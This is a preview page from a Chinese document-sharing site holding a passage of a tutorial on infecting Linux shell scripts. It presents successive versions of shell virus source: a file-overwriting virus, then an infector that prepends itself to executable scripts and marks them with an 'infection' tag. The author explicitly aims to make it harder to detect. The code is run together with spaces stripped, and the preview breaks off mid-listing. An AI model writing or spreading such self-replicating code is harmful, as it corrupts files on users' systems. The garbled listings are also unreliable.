感染linux脚本程序技术

感染linux脚本程序技术

ID:9490204

大小:64.50 KB

页数:8页

时间:2018-05-01

感染linux脚本程序技术_第1页
感染linux脚本程序技术_第2页
感染linux脚本程序技术_第3页
感染linux脚本程序技术_第4页
感染linux脚本程序技术_第5页
资源描述:

《感染linux脚本程序技术》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库

1、感染linux脚本程序技术~教育资源库  主要的shell病毒技术  -------------------  当然,本文需要你至少了解linuxshell编程的基础知识和一星点的病毒知识.  ok!我们进入正题!  我们来看一个最原始的shell病毒,代码最能说明问题:--------------------------------------------------------#shellvirusIforfilein*do cp$0$filedone---------------------------------------------------------  简单吧

2、?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有  保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以  为该脚本做个判断,这样隐蔽性就大大增强了:---------------------------------------------------------#shellvirusIIforfilein*do iftest-f$file then  iftest-x$file  then  iftest-mm   then   cp$0$filefi;fi;fi;

3、fi;fidonerm.mmm-f---------------------------------------------------------  ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序  如果是就cp$0$file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.ifgrep-secho$file>/.mmm  这句也可以这样写:iffile$file

4、grep-s'Bourneshellscript'>/dev/nul;then,也就是判断file是否为s

5、hell  脚本程序.  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简  单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码:---------------------------------------------------------#infectionhead-n24$0>.test    <-取自身保存到.testforfilein*      <-遍历文件系统do iftest-f$file    <-判断是否为文件 then   ift

6、est-x$file    <-判断文件是否可执行   then     iftest-mm  <-判断是否为脚本程序      then       head-n1$file>.mm    <-提取要感染的脚本程序的第一行       ifgrep-sinfection.mm>.mmm  <-判断该文件是否已经被感染       then        rm-f.mm      <-已经被感染,则跳过       else        <-还未被感染        cat$file>.SAVEE    <-很熟悉吧

7、?借用了传统的二进制文件的感染机制        cat.test>$file        cat.SAVEE>>$file fi;fi;fi;fi;fidonerm.test.SAVEE.mmm.mm-f--------------------------------------------------------  程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过  危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.  ok

8、,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:--------------------------------------------------------#infectionforfilein*; do iftest-f$filetest-x$filetest-m  ifgrep-sinfection.mm>/dev/nul;then   rm.mm-f;else   cat$file>.SAVEE   head-n13$0>$file   c

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。